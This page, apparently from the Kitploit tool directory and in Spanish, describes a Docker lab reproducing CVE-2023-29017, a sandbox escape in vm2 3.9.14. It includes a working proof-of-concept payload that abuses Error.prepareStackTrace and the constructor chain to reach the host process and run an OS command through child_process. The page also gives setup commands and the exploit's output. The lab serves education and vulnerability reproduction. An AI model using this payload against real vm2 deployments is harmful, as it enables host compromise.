Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Node_CVE-2023-29017 — Reproducción de Node.js vm2 CVE-2023-29017 con Docker Compose y PoC | Kitploit
Herramientas/GitHubGitHub/gunwoo105/node_cve-2023-29017
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Reproducción de Node.js vm2 CVE-2023-29017 con Docker Compose y PoC

Ver Repositorio
15hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2023-29017 | Ejecución remota de código mediante escape de sandbox vm2

[WHS 4th 31st Class] - Kim Geonwoo (@gunwoo105)

Resumen de la vulnerabilidad

vm2 es una biblioteca de sandbox para Node.js que permite ejecutar JavaScript no confiable en un entorno restringido. En condiciones normales, el código dentro del sandbox no debería poder acceder a funciones sensibles como process, require, child_process y el sistema de archivos del host.

Sin embargo, en vm2 3.9.14 y anteriores, cuando ocurre un error asíncrono no manejado, el objeto host pasado a Error.prepareStackTrace no se maneja de forma segura. Un atacante puede explotar la cadena de constructores de este objeto para obtener el constructor Function del contexto host y el objeto process, y finalmente ejecutar comandos del sistema operativo a través de child_process.

Configuración del entorno

Componentes

ComponenteVersión y configuración
Node.js18.15.0
vm23.9.14
Versión parcheada3.9.15
Entorno de ejecuciónDocker Compose
Usuario del contenedornode
Puerto del servicio127.0.0.1:3000
Instalación de paquetesnpm ci + package-lock.json

No se utiliza una imagen de producto final vulnerable; en su lugar, se crea la imagen directamente a partir de la imagen base oficial de Node.js y el código fuente incluido en el repositorio. El Dockerfile verifica las versiones de Node.js y vm2; si las versiones no coinciden con lo esperado, la compilación falla.

RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
ArchivoFunción
docker-compose.ymlDefine la configuración y el orden de ejecución del servicio vulnerable y el contenedor PoC
DockerfileConstruye las imágenes del servicio vulnerable y PoC en modo multi-stage
vulnerable/src/server.jsProporciona los endpoints /health, /execute y /evidence
vulnerable/src/worker.jsEjecuta la entrada del usuario en vm2 en un proceso separado
poc/poc.jsAutomatiza la verificación de versiones, control benigno, ataque y confirmación de evidencia
vulnerable/package-lock.jsonFija las versiones de los paquetes, incluidas las dependencias transitivas

La razón para ejecutar worker.js en un proceso separado es que el PoC provoca un error asíncrono no manejado. Aunque el worker termine durante el ataque, el servidor web continúa ejecutándose, y se puede verificar de forma fiable el éxito mediante un archivo marcador.

Condiciones de vulnerabilidad

Deben cumplirse todas las condiciones siguientes:

  1. La aplicación utiliza vm2 3.9.14 o anterior.
  2. El atacante puede controlar la entrada de JavaScript a ejecutar.
  3. Ese JavaScript se ejecuta dentro de vm2.
  4. Se permite la ejecución asíncrona de JavaScript.
  5. Un error asíncrono no manejado alcanza la ruta vulnerable de procesamiento de stack trace.
  6. El proceso de Node.js que ejecuta vm2 tiene permisos para ejecutar comandos del sistema operativo o acceder a archivos.

No todos los servicios que instalan vm2 quedan automáticamente expuestos a ataques remotos. Debe existir una funcionalidad que ejecute código controlado por el atacante en vm2. El endpoint /execute de este laboratorio implementa ese caso de uso de forma mínima.

El flujo del ataque es el siguiente:

Envío de JavaScript malicioso
        │
        ▼
Ocurre error asíncrono no manejado
        │
        ▼
Se invoca Error.prepareStackTrace
        │
        ▼
Exposición del objeto host frames
        │
        ▼
Obtención del constructor Function del host
        │
        ▼
process → require → child_process
        │
        ▼
Ejecución de comandos del SO dentro del contenedor

Procedimiento de reproducción

Construcción de la imagen

docker compose build --no-cache

Construcción de imagen exitosa

Ejecución del servicio vulnerable

docker compose up -d vulnerable

Verifique el estado del contenedor.

docker compose ps

Verificación del estado y versión del servicio

curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Verificación de estado y versión del servicio

Ejecución del PoC

docker compose run --rm poc
echo "exit_code=$?"

El PoC verifica automáticamente los siguientes puntos:

  1. Healthcheck del servicio vulnerable
  2. Versiones de Node.js y vm2
  3. Ejecución normal de JavaScript 21 * 2
  4. Confirmación de que el archivo marcador no se crea con código benigno
  5. Envío del payload de CVE-2023-29017
  6. Verificación de la creación de /tmp/vm2-pwned
  7. Confirmación de que el contenido del archivo incluye uid=
  8. Devuelve código de salida 0 en caso de éxito, 1 en caso de fallo

Para ejecutar todo de una vez, desde la construcción hasta el PoC, use el siguiente comando:

docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Verificación del archivo de evidencia

docker compose exec vulnerable sh -c '
  echo "[Archivo marcador]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Salida del comando]"
  cat /tmp/vm2-pwned
'

Finalización del entorno

docker compose down -v --rmi local --remove-orphans

5. Código PoC

El PoC completo está incluido en poc/poc.js. El payload principal es el siguiente:

Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Funcionamiento del código

Redefinición de Error.prepareStackTrace

Error.prepareStackTrace = (error, frames) => {

El atacante redefine la función que se ejecuta cuando se genera un stack trace de error.

Obtención del constructor Function del host

frames.constructor.constructor

Siguiendo la cadena de constructores del objeto host frames expuesto por vm2 vulnerable, se accede al constructor Function del contexto host.

Obtención del objeto process del host

frames.constructor.constructor('return process')();

Se crea y ejecuta una función que devuelve process desde el contexto host.

Ejecución de comando del sistema operativo

hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Se carga child_process, que no está disponible dentro del sandbox, y se ejecuta el comando id de Linux.

Inducción de un error asíncrono no manejado

(async () => {}).constructor('return process')();

Se hace que una función asíncrona haga referencia a process, que no está disponible en el sandbox, creando una Promise rechazada que llega a la ruta vulnerable de procesamiento de stack trace.

Resultados de la ejecución

Control benigno

El JavaScript normal se ejecuta dentro de vm2 y devuelve 42, pero no genera evidencia de ejecución de comandos del sistema operativo.

[2/4] Ejecutando JavaScript benigno dentro de vm2
      JavaScript normal devolvió 42 sin ejecución de comando del host

Explotación de la vulnerabilidad

Al enviar el payload malicioso, se escapa del sandbox de vm2 y se ejecuta el comando id dentro del contenedor con los permisos del proceso Node.js vulnerable.

[3/4] Enviando payload de CVE-2023-29017
      Salida del comando del host: uid=1000(node) gid=1000(node) groups=1000(node)

El PoC vuelve a verificar la evidencia almacenada y luego devuelve el estado de éxito.

Descargar herramienta